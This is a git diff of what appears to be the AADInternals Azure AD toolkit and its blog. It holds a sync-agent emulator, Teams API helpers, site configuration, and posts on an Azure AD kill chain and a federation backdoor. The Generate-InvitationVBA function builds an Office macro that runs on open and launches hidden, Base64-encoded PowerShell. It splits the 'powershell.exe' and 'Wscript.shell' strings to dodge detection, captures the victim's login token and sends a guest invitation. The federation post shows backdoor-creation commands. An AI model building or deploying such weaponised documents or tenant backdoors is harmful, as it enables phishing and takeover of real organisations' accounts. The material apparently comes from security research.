function Invoke-SyncAgent
{
<#
.SYNOPSIS
Invokes a Sync Agent with given name and certificate.
.DESCRIPTION
Invokes a Sync Agent with given name and certificate, and connects to Azure AD. Emulates Azure AD Sync Agent.
.Example
Invoke-AADIntSyncAgent -MachineName "server1.company.com"
Connector 1 connecting to his-eur1-neur1
Connector 2 connecting to his-eur1-neur1
Connector 3 connecting to his-eur1-weur1
Connector 4 connecting to his-eur1-weur1
Sync Agent started, waiting for logins..
.Example
Register-AADIntSyncAgent -MachineName "server1.company.com"
Sync agent registered as server1.company.com
Certificate saved to Sync_client_certificate.pfx
PS C:\>Invoke-AADIntSyncAgent -MachineName "server1.company.com"
Connector 1 connecting to his-eur1-neur1
Connector 2 connecting to his-eur1-neur1
Connector 3 connecting to his-eur1-weur1
Connector 4 connecting to his-eur1-weur1
Sync Agent started, waiting for logins..
.Example
$pt=Get-AADIntAccessTokenForPTA
PS C:\>Register-AADIntSyncAgent -AccessToken $pt -MachineName "server1.company.com" -FileName server1.pfx
Sync agent registered as server1.company.com
Certificate saved to server1.pfx
PS C:\>Invoke-AADIntSyncAgent -MachineName "server1.company.com" -FileName server1.pfx
Connector 1 connecting to his-eur1-neur1
Connector 2 connecting to his-eur1-neur1
Connector 3 connecting to his-eur1-weur1
Connector 4 connecting to his-eur1-weur1
Sync Agent started, waiting for logins..
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$MachineName,
[Parameter(Mandatory=$False)]
[String]$fileName="Sync_client_certificate.pfx"
)
Process
{
# Clean the old jobs
Get-Job | Remove-Job -Force
# Load the certificate
$fullPath = (Get-Item $fileName).FullName
$cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::CreateFromCertFile($fullPath)
# Get the bootStraps
$BootStraps = Get-BootstrapConfiguration -MachineName $MachineName -fileName $fileName
$max = 10
$connectors = @()
foreach($BootStrap in $bootStraps)
{
if($connectors.Length -gt $max)
{
break
}
$id=($connectors.count+1)
# The startup script
$sb={
param($BootStrap, $cert)
. "$PSScriptRoot\MSAppProxy_utils.ps1";
Connect-ToBus -BootStrap $BootStrap -cert $cert
}
# Create a synchronized hashtable for status etc.
$status=[hashtable]::Synchronized(@{})
# Create the runspace etc.
$rs=[runspacefactory]::CreateRunspace()
$ps=[powershell]::Create()
$ps.Runspace = $rs
$rs.Open()
$rs.SessionStateProxy.SetVariable("status",$status)
$ps.AddScript($sb)
$ps.AddArgument($BootStrap)
$job = $ps.BeginInvoke()
$name = "$id-$($BootStrap.Namespace)"
# Create a connector object
$connector = New-Object PSObject
$connector | Add-Member -NotePropertyName "Name" -NotePropertyValue ($name)
$connector | Add-Member -NotePropertyName "PowerShell" -NotePropertyValue ($ps)
$connector | Add-Member -NotePropertyName "Runspace" -NotePropertyValue ($rs)
$connector | Add-Member -NotePropertyName "Job" -NotePropertyValue ($job)
$connector | Add-Member -NotePropertyName "Status" -NotePropertyValue ($status)
$connectors+=$connector
}
$colors=@("Yellow","White","Cyan","Red")
while($true)
{
$running = $connectors.count
Clear-Host
foreach($connector in $connectors)
{
Write-Host "$($connector.Name) Completed: $($connector.job.IsCompleted) Status: $($connector.status.status)" -ForegroundColor $colors[$((([int]$connector.Name.Substring(0,1))-1)%4)]
if($connector.job.IsCompleted)
{
$connector.PowerShell.EndInvoke($connector.job)
$connector.Runspace.Close()
$running--
}
}
if($running -eq 0)
{
Write-Host "All connectors completed. Exiting.."
break
}
Start-Sleep -Seconds 3
}
}
}
+1236
View File
File diff suppressed because it is too large Load Diff
+64
View File
@@ -0,0 +1,64 @@
# Gets Teams service information
# Oct 16th 2020
function Get-TeamsUserSettings
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://api.spaces.skype.com" -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264"
Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://teams.microsoft.com/api/authsvc/v1.0/authz" -Headers @{"Authorization"="Bearer $AccessToken"}
}
}
# Gets Teams recipients info
# May 11th 2021
function Get-TeamsRecipients
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String[]]$Recipients
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://api.spaces.skype.com" -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264"
# Must be a proper array, so add element if only one provided
if($Recipients.Count -eq 1)
{
$Recipients += ""
}
# Get the settings
$teamsSettings = Get-TeamsUserSettings -AccessToken $AccessToken
$chatService = $teamsSettings.regionGtms.chatService
$apiUrl = $teamsSettings.regionGtms.middleTier
$skypeToken = $teamsSettings.tokens.SkypeToken
# Construct the headers
$headers = @{
"Authorization" = "Bearer $AccessToken"
"User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Teams/1.3.00.24755 Chrome/69.0.3497.128 Electron/4.2.12 Safari/537.36"
"Authentication" = "skypetoken=$skypeToken"
"x-ms-client-version" = "27/1.0.0.2020101241"
}
$recipientInfo = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "$apiUrl/beta/users/fetch?isMailAddress=true&canBeSmtpAddress=false&enableGuest=true&includeIBBarredUsers=true&skypeTeamsInfo=true" -Headers $headers -Body ([String[]]$Recipients|ConvertTo-Json) -ContentType "application/json"
$msgRecipients = $recipientInfo.Value
return $msgRecipients
}
}
+152
View File
@@ -0,0 +1,152 @@
# This script contains functions for weaponising Office files
# Aug 6th 2020
function Generate-InvitationVBA
{
<#
.SYNOPSIS
Creates a VBA script block to weaponise Excel files to invite the given guest user to their tenant.
.DESCRIPTION
Creates a VBA script block to weaponise Excel files to invite the given guest user to their tenant.
The script starts when the Excel workbook is opened:
* Opens an Office 365 login window to get an access token
* Using the access token, sends an invitation for the given email address
Copy the generated script to clipboard and paste to Excel
.Example
New-AADIntInvitationVBA -Email someone@gmail.com | Set-ClipBoard
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Email,
[Validateset("Workbook","Document")]
[String]$Type="Workbook"
)
Process
{
#
# Generate the PowerShell code block
#
# First some needed assemblies are imported.
# Second, a Windows form object is created with a web browser control. The Outlook app id is used.
# Third, the login window is shown and access token is fetched
# Finally, the invitation for the given user is sent
$e="`$e=""$Email"";"
$code=@'
Add-Type -AssemblyName System.Windows.Forms;
Add-Type -AssemblyName System.Web;
$r="https://graph.microsoft.com";
$i="d3590ed6-52b3-4102-aeff-aad2292ab01c";
$u="urn:ietf:wg:oauth:2.0:oob";
$l="https://login.microsoftonline.com/common/oauth2/authorize?resource=$r&client_id=$i&response_type=code&haschrome=1&redirect_uri=$u&client-request-id=$((New-Guid).ToString())&prompt=login&scope=openid profile";
$f=[Windows.Forms.Form]::new();
$f.Width=560;
$f.Height=680;
$f.FormBorderStyle=3;
$f.TopMost=$true;
$w=[Windows.Forms.WebBrowser]::new();
$w.Size=$f.ClientSize;
$w.Anchor="Left,Top,Right,Bottom";
$f.Controls.Add($w);
$w.add_Navigated({if($_.Url.ToString().StartsWith($u)){$f.DialogResult="OK";$f.Close();};});
$w.Navigate($l);
if($f.ShowDialog()-ne"OK"){$f.Controls[0].Dispose();return};
$a=[Web.HttpUtility]::ParseQueryString($f.Controls[0].Url.Query);
$b=@{client_id=$i;grant_type="authorization_code";code=$a["code"];redirect_uri=$u};
$f.Controls[0].Dispose();
$c="application/x-www-form-urlencoded";
$o=irm -Uri "https://login.microsoftonline.com/common/oauth2/token" -ContentType $c -Method POST -Body $b;
$b="{""invitedUserEmailAddress"":""$e"",""sendInvitationMessage"":true,""inviteRedirectUrl"":""https://myapps.microsoft.com""}";
$o=irm -Uri "https://graph.microsoft.com/beta/invitations" -Method Post -Body $b -Headers @{"Authorization"="Bearer $($o.access_token)"};
'@
# Convert the code block to Unicode and decode it with Base64
$unicode=[text.encoding]::Unicode.getBytes("$e$code")
$code=[convert]::ToBase64String($unicode)
#
# Create the VBA Code
#
# Generate a random function name
$funcName = -join ((97..122) | Get-Random -Count 32 | % {[char]$_})
$VBA = @"
Private Sub $($Type)_Open()
$funcName
End Sub
Sub $funcName()`n
"@
$p = 1
# Split the Base64 encoded code to shorter chunks
While(($p*500) -lt $code.Length)
{
$codeStr = $($code.Substring(($p-1)*500,500))
#$codeStrArr= $codeStr.ToCharArray()
#[array]::Reverse($codeStrArr)
#$codeStr = -join($codeStrArr)
$VBA += " i$p = ""$codeStr""`n"
$p++
}
$VBA += " i$p = ""$($code.Substring(($p-1)*500,$code.Length-($p-1)*500))""`n"
$VBA += " c1 = Chr(34) & ""pow"" & ""ershel"" & ""l.exe"" & Chr(34)`n"
$VBA += " c2 = ""-EncodedCommand """
for($i=1;$i -lt $p+1 ; $i++)
{
$VBA += " & i$i"
}
$VBA += "`n"
# Set PowerShell to start as hidden
$VBA += " c3 = "" -WindowStyle Hidden""`n"
# Create Wscript.shell object
$VBA += " Set s2 = CreateObject(""Ws"" & ""cript"" & "".s"" & ""hell"")`n"
# Invoke the PowerShell minimized
$VBA += " s2.Run c1 & c2 & c3, 2`n"
$VBA += "End Sub`n"
# Return
$VBA
}
}
function Scramble-Text
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Text,
[Parameter(Mandatory=$True)]
[String]$Secret
)
Process
{
$secretArray=$Secret.ToCharArray()
$num=0
foreach($char in $secretArray)
{
$num+=$char
}
$num = $num % 256
$textArray = $Text.ToCharArray()
}
}
BIN
View File
Binary file not shown.
@@ -1,6 +0,0 @@
---
title: "{{ replace .TranslationBaseName "-" " " | title }}"
date: {{ .Date }}
draft: true
---
-44
View File
@@ -1,44 +0,0 @@
baseurl = "http://o365blog.com"
title = "Office 365 blog"
languageCode = "en-gb"
paginate = "20" # Number of posts per page
theme = "mainroad"
googleAnalytics = "UA-61454000-4" # Optional
disqusShortname = "o365blog-com"
pygmentsuseclasses = true
pygmentsuseclassic = true
publishDir = "docs"
#sectionPagesMenu = "main"
[Author] # Used in authorbox
name = "Dr Nestori Syynimaa (@DrAzureAD)"
bio = "Dr Syynimaa works as Senior Principal Information Security Researcher at Secureworks CTU (Counter Threat Unit). <br> Before moving to his current position, Dr Syynimaa worked as a CIO, consultant, trainer, and university lecturer for over 20 years. He is a regular speaker in scientific and professional conferences related to Microsoft 365 and Azure AD security. <br><br>Dr Syynimaa is Microsoft Certified Expert (Microsoft 365), Microsoft Certified Azure Solutions Architect Expert, Microsoft Certified Trainer, Microsoft MVP (Enterprise Mobility, Identity and Access & Intune), and Microsoft Most Valuable Security Researcher (MVR)."
avatar = "images/nestori.jpg"
[Params]
subtitle = "Everything about Microsoft 365 security" # Subtitle of your site. Used in site header
description = "The site for Microsoft 365 and Azure AD administrators" # Description of your site. Used in meta description
opengraph = true # Enable OpenGraph if true
readmore = false # Show "Read more" button in list if true
leftsidebar = false # Move sidebar to the left side if true
authorbox = true # Show authorbox at bottom of pages if true
post_navigation = true # Show post navigation at bottom of pages if true
postSections = ["post"] # the section pages to show on home page and the "Recent articles" widget
#postSections = ["blog", "news"] # alternative that shows more than one section's pages
#dateformat = "2006-01-02" # change the format of dates
enableEmoji = true
[Params.widgets]
search = true # Enable "Search" widget
recent_articles = true # Enable "Recent articles" widget
recent_articles_num = 5 # Set the number of articles in the "Recent articles" widget
categories = true # Enable "Categories" widget
tags = true # Enable "Tags" widget
tags_counter = true # Enable counter for each tag in "Tags" widget (disabled by default)
# Enable "Social" widget, if any of "social_*" set a value
social_twitter = "DrAzureAD"
social_linkedin = "nestori"
social_email = "nestori.syynimaa@gerenios.com"
File diff suppressed because it is too large Load Diff
@@ -1,87 +0,0 @@
+++
title = "AAD & M365 kill chain"
date = "2020-06-14"
lastmod = "2021-02-08"
menu = "main"
categories =["article"]
tags = ["Azure Active Directory","Azure","outsider","user","guest","admin","recon","compromise","persistence"]
description = "Azure AD and Microsoft 365 kill chain"
+++
<img src="/images/posts/killchain.png" width="1920" height="1080" alt="Azure AD Kill Chain" usemap="#killchain">
<map name="killchain">
<area coords="0,160,1920,346" title="Outsider" alt="Outsider" href="/post/just-looking/">
<area coords="0,347,1920,533" title="Guest" alt="Guest" href="/post/quest_for_guest/">
<area coords="0,534,1920,718" title="User" alt="User" href="/post/insider/">
<area coords="0,719,1920,893" title="Admin" alt="Admin" href="/post/admin/">
<area coords="0,894,1920,1080" title="On-prem admin" alt="On-prem admin" href="/post/on-prem_admin/">
</map>
<script type="text/javascript" src="/js/imageMapResizer.min.js"></script>
<script type="text/javascript">
imageMapResize();
</script>
# Introduction
According to Verizon's <a href="http://enterprise.verizon.com/resources/reports/2020/2020-data-breach-investigations-report.pdf" target="_blank">Data Breach Investigations Report 2020</a>, externals attackers are considerable more common than internal attackers.
In the cloud era, attacking the organisation from the outside is much more difficult, if not impossible. Therefore, to be able to access organisation's data, one must gain some level of legitimate access to the organisation.
The Azure AD and Microsoft 365 kill chain is a collection of recon techniques and hacking tools I've discovered and built during the last 10+ years while working with Microsoft cloud services.
# Kill chain roles
The kill chain consists of five different roles: **outsider**, **guest**, **insider**, **admin**, and **on-prem admin**.
Typically, outsiders are aiming for guest, insider, or admin roles. Similarly, guests are aiming for insider or admin roles.
Insiders can already do much harm, but to get "keys to the kingdom" they often are aiming for (cloud) admin role. This is same for the on-prem admin.
<img src="/images/posts/killchain2.png" alt="Azure AD Kill Chain roles">
**Figure 1:** Azure AD Kill Chain roles and target
Attackers' ultimate goal is to get access to target tenant. The kill chain provides tools for recon to improve targeting the organisation.
After gaining the preferred role (out-of-scope of kill chain), the kill chain provides tools for hacking the organisation.
## Outsider
Outsider refers to an user who has no access to the tenant of the target organisation.
Outsiders can exract information from any tenant using publicly available APIs and DNS queries. See the <a href="/post/just-looking/" target="_blank">blog post</a> for more details.
The ultimate goal of an outsider is to gain guest, user, or admin role.
## Guest
Guest refers to an user who has guest access (external user) to the target tenant. These users have a restricted access to Azure AD, but they can gather a lot of information from tenant using
various APIs provided by Microsoft. For instance, guests can easily read the whole Azure Active Directory (AAD) using <a href="https://docs.microsoft.com/en-us/graph/use-the-api" target="_blank">MS Graph API</a>.
See the <a href="/post/quest_for_guest/" target="_blank">blog post</a> for more details.
## User (insider)
User refers to "normal" users of the tenant. They have read-only access to practically all information in AAD. However, users are also able to invoke Denial-of-Service (DoS) attacks against their own tenant by filling
the Azure AD with user or device objects, making it practically unusable.
See the <a href="/post/insider/" target="_blank">blog post</a> for more details.
## Admin
Admin refers to a <a href="https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#global-administrator--company-administrator" target="_blank">Global Administrator</a> role.
Global admin has an unlimited access to all settings in the tenant. As such, they can change security settings, access any data, and create back doors.
See the <a href="/post/admin/" target="_blank">blog post</a> for more details.
## On-prem admin
On-prem admin refers to an administrator who is administering on-prem servers running <a href="https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-azure-ad-connect" target="_blank">Azure AD Connect</a>,
<a href="https://docs.microsoft.com/en-us/windows-server/identity/active-directory-federation-services" target="_blank">Active Directory Federation Services</a> (AD FS), or Active Directory.
On-prem admins doesn't have direct access to the cloud, but they can dump Azure AD Connect credentials and gain admin rights to cloud.
If organisation is using Desktop SSO (also known as <a href="https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso" target="_blank">Seamless SSO</a>), on-prem admin
can dump the MD4 hash of AZUREADSSO computer account password and create Kerberos tickets to login as any user of the tenant.
Similarly, If organisation is using identity federation, on-prem admin can export the token signing certificates and sign in as any user of the tenant and bypass MFA!
See the <a href="/post/on-prem_admin/" target="_blank">blog post</a> for more details.
# References
* 2020 Verizon <a href="http://enterprise.verizon.com/resources/reports/2020/2020-data-breach-investigations-report.pdf" target="_blank">Data Breach Investigations Report</a>
* <a href="https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles" target="_blank">Administrator role permissions in Azure Active Directory</a>
@@ -1,70 +0,0 @@
+++
title = "Links"
date = "2017-10-12"
lastmod = "2021-11-03"
menu = "main"
tags = ["Office365"]
categories = ["article"]
description = "Important links"
+++
This article have all the important links you need to administer Office 365
<!--more-->
# Office 365 PowerShell modules
Link | Remarks
--- | ---
<a href="https://www.microsoft.com/en-us/download/details.aspx?id=28177" target="_blank">Microsoft Online Services Sign-In Assistant</a> | Required my the Azure Active Directory PowerShell module.
<a href="http://connect.microsoft.com/site1164/Downloads/DownloadDetails.aspx?DownloadID=59185" target="_blank">~~Azure Active Directory PowerShell V1~~</a> ~~module page~~ | Deprecated, installed using <a href="../post/ps-module">PowerShell</a>
<a href="http://www.microsoft.com/download/details.aspx?id=35588" target="_blank">SharePoint Online Management Shell</a> |
<a href="http://www.microsoft.com/en-us/download/details.aspx?id=39366" target="_blank">Skype for Business, Windows PowerShell Module</a> |
<a href="https://www.powershellgallery.com/packages/MicrosoftTeams/" target="_blank">Teams Powershell Beta module</a> |
# Directory Synchronization
Link | Remarks
--- | ---
<a href="https://www.microsoft.com/en-us/download/details.aspx?id=36832" target="_blank">IdFix</a> | Directory Synchronization Error Remediation Tool
<a href="https://www.microsoft.com/en-us/download/details.aspx?id=47594" target="_blank">Azure AD Connect 2.x</a> | Microsoft Azure Active Directory Connect (current)
<a href="https://www.microsoft.com/en-us/download/details.aspx?id=103336" target="_blank">Azure AD Connect 1.x</a> | Microsoft Azure Active Directory Connect (deprecated on Aug 31 2022)
<a href="https://download.msappproxy.net/Subscription/00000000-0000-0000-0000-000000000000/Connector/ptaDownloadConnectorInstaller" target="_blank">Authentication Agent | Pass-through authentication agent
<a href="https://download.msappproxy.net/Subscription/00000000-0000-0000-0000-000000000000/Connector/previewProvisioningAgentInstaller" target="_blank">AAD Cloud provisioning Agent | AAD Cloud provisioning Agent (preview)
# Office 365 product information
Link | Remarks
--- | ---
<a href="http://aka.ms/o365sd" target="_blank">Office 365 Service Descriptions</a> |
<a href="http://roadmap.office.com" target="_blank">Office 365 Roadmap</a> |
<a href="http://products.office.com/en-us/" target="_blank">Office Products</a> | english
<a href="http://blogs.office.com" target="_blank">Office Blogs</a> |
<a href="http://o365datacentermap.azurewebsites.net/ " target="_blank">Location of Microsoft data centers</a> |
# Office 365 trials
Link | Remarks
--- | ---
<a href="https://signup.microsoft.com/Signup?OfferId=8368ac6a-5797-4859-b2ec-4d32330277c9&dl=O365_BUSINESS" target="_blank">Office 365 Business</a> | Office applications and OneDrive for organisations < 300 users
<a href="https://signup.microsoft.com/Signup?OfferId=467eab54-127b-42d3-b046-3844b860bebf&dl=O365_BUSINESS_PREMIUM" target="_blank">Office 365 Business Premium</a> | Office applications and online services for organisations < 300 users
<a href="https://signup.microsoft.com/Signup?OfferId=B07A1127-DE83-4a6d-9F85-2C104BDAE8B4&dl=ENTERPRISEPACK" target="_blank">Office 365 Enterprise E3</a> | Office applications and online services without user limitations
<a href="https://signup.microsoft.com/Signup?OfferId=101bde18-5ffb-4d79-a47b-f5b2c62525b3&dl=ENTERPRISEPREMIUM" target="_blank">Office 365 Enterprise E5</a> | All features of E3 plus advanced security, analytics, and voice capabilities
<a href="https://products.office.com/en-us/microsoft-teams/free" target="_blank">Microsoft Teams (free)</a> | Free version of Microsoft Teams for up to 300 users
# Office 365 administration and troubleshooting
Link | Remarks
--- | ---
<a href="http://aka.ms/exrca" target="_blank">Exchange Remote Connectivity Analyzer</a> | Tools to test your DNS configuration, services, etc. outside your organisation
<a href="http://aka.ms/exdeploy" target="_blank">Exchange Deployment Assistant</a> | Helps to deploy Exchange depending on your choice (on-prem, hybrid, cloud only)
<a href="https://configure.office.com" target="_blank">Office 365 Configuration</a> | Tools and links to setup and configure your Office 365 tenant: diagnostics, troubleshooters, Exchange hybrid product key, etc.
<a href="http://blog.jussipalo.com/2013/10/list-of-sharepoint-timezoneid-values.html" target="_blank">SharePoint Timezone IDs</a> | SharePoint Time Zone ID values
<a href="https://msdn.microsoft.com/en-us/library/ms912047(v=winembedded.10).aspx" target="_blank">SharePoint Locale IDs</a> | Microsoft Locale ID values
<a href="https://www.myo365.site" target="_blank">www.myo365.site</a> | Get a free custom domain for Office 365 / Azure AD
# Office 365 ProPlus deployment
Link | Remarks
--- | ---
<a href="http://aka.ms/odt" target="_blank">Deploying Office 365 ProPlus</a> | Documentation for deploying Office 365 ProPlus from a local source
<a href="http://aka.ms/odt2016" target="_blank">Office 365 ProPlus Deployment Tool</a> | Office 2016 Deployment Tool
<a href="https://officedev.github.io/Office-IT-Pro-Deployment-Scripts/XmlEditor.html" target="_blank">Office 365 ProPlus configuration editor</a> | Editor to build XML configuration files for Office 365 ProPlus deployment
@@ -1,210 +0,0 @@
+++
title = "Deep-dive to Azure Active Directory Identity Federation"
date = "2019-06-12"
lastmod = "2019-10-30"
categories =["blog"]
tags = ["Office 365","Azure Active Directory","Identity","Federation","SSO","ADFS"]
thumbnail = "/images/posts/aad_deepdive.png"
+++
Identity federation is regarded as the most secure way to authenticate users to Azure AD. In this blog, Ill deep-dive to identity federation implementation of Azure AD and point out some serious security issues.
<!--more-->
# Introduction
## What is Identity Federation
Identity federation, in general, refers to a situation, where the **service provider (SP)** trusts to identities provided by an **identity provider (IdP)**.
Technically, the IdP provides a **security token (ST)** which contains information about the user. ST is signed by IdP using a private key of the agreed-upon certificate.
The SP verifies the ST using the public key of the agreed-upon certificate.
## Protocols
There are two commonly used federation protocols: **Web Services Federation Language (WS-Federation)** and **Security Assertion Markup Language (SAML)**.
WS-Federation is purely a protocol, whereas SAML is both protocol and token type. For instance, Active Directory Federation Services (AD FS) is (by default)
using WS-Federation protocol with SAML 1.1 tokens.
## Authentication flows
There are two different authentication flows: **SP-initiated** and **IdP-initiated**.
The typically used **SP-initiated** authentication flow is illustrated in Figure 1. The steps are:
1. The user tries to access SP using a browser
2. SP sends a redirect to the user's browser
3. The browser connects IdP and IdP performs an authentication
4. After successful authentication, SP creates ST and redirects the browser back to SP
5. The browser accesses SP
![SP initiated](/images/posts/aad_sp2idp.png)
**Figure 1: SP-initiated authentication flow**
The **IdP-initiated** authentication flow is illustrated in Figure 2. The steps are:
1. The user connects to IdP with browser and IdP performs an authentication
2. After successful authentication, SP creates ST and redirects the browser back to SP
3. The browser accesses SP
![IDP initiated](/images/posts/aad_idp2sp.png)
**Figure 2: IdP-initiated authentication flow**
# Azure AD Identity Federation under-the-hood
The Azure AD authentication flow for federated identities is illustrated in Figure 3.
The process is the same for both SP (step 5) and IdP (step 3) initiated authentication flows.
Azure AD supports two authentication protocols, SAMLP (SAML 2.0) and WSFED (WS-Federation). Next, the steps are explained in more detail.
![The federation flow](/images/posts/aad_authflow.png)
**Figure 3: Azure AD identity federation IdP authentication flow**
## 1. Check the syntax
The first step of the authentication flow is to check the syntax of the authentication request.
The authentication request is sent to https://login.microsoftonline.com/login.srf using HTTP POST protocol. Required query parameters are listed in the following tables.
<a href="http://docs.oasis-open.org/security/saml/Post2.0/sstc-saml-tech-overview-2.0.html" target=_blank">SAMLP</a>:
Parameter | Description
--- | ---
RelayState | In SP initiated authentication, this parameter must be resent to SP unmodified. <br>With IdP initiated authentication can be left to empty.
SAMLResponse | Base 64 encoded signed SAML2 token.
<a href="http://docs.oasis-open.org/wsfed/federation/v1.2/cd/ws-federation-1.2-spec-cd-02.html" target=_blank">WSFED</a>:
Parameter | Description
--- | ---
wa | This is the required parameter, and it specifies the action to be performed. <br>Must be “wsignin1.0”
wctx | This optional parameter is a context value. If set, must be returned with the issued token. <br>In SP initiated authentication this parameter must be resent to SP unmodified.<br>With IdP initiated authentication can be left to empty.
wresult | This required parameter specifies the result of the token issuance as signed SAML 1.1 token.
## 2. Syntax valid?
If the syntax is valid the flow proceeds to the next step. If not, one of the following error codes are shown, and the authentication process is terminated.
<a href="https://docs.microsoft.com/en-us/azure/active-directory/develop/reference-aadsts-error-codes" target=_blank">Error codes</a>:
Error code | Message | Description
--- | --- | ---
AADSTS20012 | WsFedMessageInvalid - There's an issue with your federated Identity Provider. Contact your IDP to resolve this issue. | WSFED: The SAML token xml format was not valid. Missing tags etc.
AADSTS90013 | InvalidUserInput - The input from the user is not valid. | WSFED: wresult parameter missing.
AADSTS90081 | OrgIdWsFederationMessageInvalid - An error occurred when the service tried to process a WS-Federation message. The message is not valid. | WSFED: wa parameter missing.<br>SAMLP: SAMLResponse parameter missing.
## 3. Find the federation realm
Now the syntax of the authentication request is checked and found to be valid. Next step is to find the federation realm, i.e., the tenant to be authenticated to.
Based on my research, the domain name is not used at all. Instead, Azure AD has a table of Azure AD federation realms having at least the following attributes.
Attribute | Description
--- | ---
Issuer | A string, usually a URI, identifying the IdP. <br><br>The issuer is unique; it can be associated only to one tenant at any given time.
Tenant | String (GUID) of the tenant the issuer is associated with. <br> <br>The tenant can have multiple issuers.
Signing certificate | A base 64 encoded public key of the signing certificate. <br><br>Not unique, can be associated with multiple tenants and issuers.
As we already know, the domains registered to Azure AD can be either **Managed** or **Federated**. When a domain is converted to federated, it is also added to the Azure AD Federation realms table.
Normally, only validated domains can be used in Azure AD. This means that unless the domain is validated, it cannot be used as a login name or email address.
However, I discovered a bug in Azure AD, which I reported to Microsoft on November 22nd 2018. **The bug allows using unvalidated domains as backdoors**.
I finally got a response from Microsoft on Oct 25th 2019. So, this is also a feature and won't be fixed:
> Our team had assessed this issue, and this behavior is considered by design. Also, to exploit this, a user needs to have admin privileges.
**Example 1:** Creating a domain and changing the authentication method using MsOnline PowerShell module:
{{< highlight powershell >}}
# Create a new federated domain
New-MsolDomain -Name microsoft.com
# Save the issuer and login/logoff uri to variables
$issuer="http://myissuer/microsoft.com"
$uri="http://myissuer"
# Save the public key to a variable
$certificate = "MIIDcTCCAligAwIBAgIBADANBgkqhkiG9w0BAQ0FADBSMQswCQYDVQQGEwJmaTESMBAGA1UECAwJUGlya2FubWFhMREwDwYDVQQKDAhHZXJlbmlvczEcMBoGA1UEAwwTaGFjay5vMzY1ZG9tYWluLm9yZzAeFw0xODAyMjExMzEyNDVaFw0yODAyMTkxMzEyNDVaMFIxCzAJBgNVBAYTAmZpMRIwEAYDVQQIDAlQaXJrYW5tYWExETAPBgNVBAoMCEdlcmVuaW9zMRwwGgYDVQQDDBNoYWNrLm8zNjVkb21haW4ub3JnMIIBIzANBgkqhkiG9w0BAQEFAAOCARAAMIIBCwKCAQIApH73Hcv30uHHve6Zd3E/aEeFgQRMZD/CJUQC2DfSk0mDX8X75MIo7gP+62ZTUsOxhSDdOOVYshK8Kyk9VZvo21A5hDcCudXxc/eifCdwGLalCaOQt8pdMlYJgsBDcieMNToCx2pXp1PvkJdKc2JiXQCIAolJySbNXGJbBG1Oh4tty7lEXUqHpHgqiIJCb64q64BIQpZr/WQG0QgtH/gwWYz7b/psNA4xVi8RJnRUl7I62+j0WVSTih2j3kK20j5OIW9Rk+5XoHJ5npOBM84pYJ6yxMz1sOdSqOccAjSVHWFKdM437PxAPeiXAXoBKczGZ72Q8ocz2YSLGKcSMnYCrhECAwEAAaNQME4wHQYDVR0OBBYEFNu32o5XSIQ0lvwB+d2cnTlrtk2PMB8GA1UdIwQYMBaAFNu32o5XSIQ0lvwB+d2cnTlrtk2PMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQENBQADggECAHokwTra0dlyG5jj08TiHlx1pJFnqlejjpFXaItuk2jEBfO/fv1AJaETSR5vupFfDHA337oPiqWugxai1TIvJGKhZImNloMj8lyeZk/9/5Pt2X4N8r1JpAQzt+Ez3z7aNrAFxRjJ0Y+rDDcSItZ5vaXJ5PqBvR7icjIBaXrHVFUC6OZ2RkebbpajbIdt6U/P7ovg7L1J6LAzL/asATZzM3Mjn+9rsC9xLbJwuEabLU+BxySsNo8TULYi9O2MSJ9FvddE6n3OPqrmldldCrb6OugK/pzCwjTnVgRtrHNJc+zKavbiu0Yfp8uYhvCCWAakdQ8g6ZNJ1TGSaYNIrpTIhXIJ"
# Set the authentication method
Set-MsolDomainAuthentication -DomainName microsoft.com -Authentication Federated -IssuerUri $issuer -LogOffUri $uri -PassiveLogOnUri $uri -SigningCertificate $certificate
{{< /highlight>}}
**Example 2:** Creating a domain and changing the authentication method using <a href="/aadinternals"" target="_blank">AADInternals</a> PowerShell module:
{{< highlight powershell >}}
# Create a new backdoor
New-AADIntBackdoor -DomainName microsoft.com
{{< /highlight>}}
**Output:**
```
Are you sure to create backdoor with microsoft.com? Type YES to continue or CTRL+C to abort: yes
Authentication : Managed
Capabilities : None
IsDefault : false
IsInitial : false
Name : microsoft.com
RootDomain :
Status : Unverified
VerificationMethod :
Backdoor created. Domain: microsoft.com, issuer=http://any.sts/B231A11F
```
## 4. Realm found?
If the realm was found, the flow proceeds to the next step. If not, the following error is shown.
<a href="https://docs.microsoft.com/en-us/azure/active-directory/develop/reference-aadsts-error-codes" target=_blank">Error codes</a>:
Error code | Message | Description
--- | --- | ---
AADSTS50107 | Requested federation realm object issuer does not exist | The issuer was not found. <br><br>**Note:** If the domain is recently changed to federated, it can take up to 30 minutes for the change to take effect.
## 5. Public key matches the realm?
After finding the realm, the public key received in the authentication request is checked against the signing certificate of the realm. If they match, the authentication flow proceeds to the next step. If not, the following error is shown.
<a href="https://docs.microsoft.com/en-us/azure/active-directory/develop/reference-aadsts-error-codes" target=_blank">Error codes</a>:
Error code | Message | Description
--- | --- | ---
AADSTS50008 | InvalidSamlToken - SAML assertion is missing or misconfigured in the token. | WSFED: The signing certificate does not match the realms public key.
AADSTS500081 | Unable to verify the token signature. The signing key identifier does not match any valid registered keys. | SAMLP: The signing certificate does not match the realms public key.
## 6. Check the signature
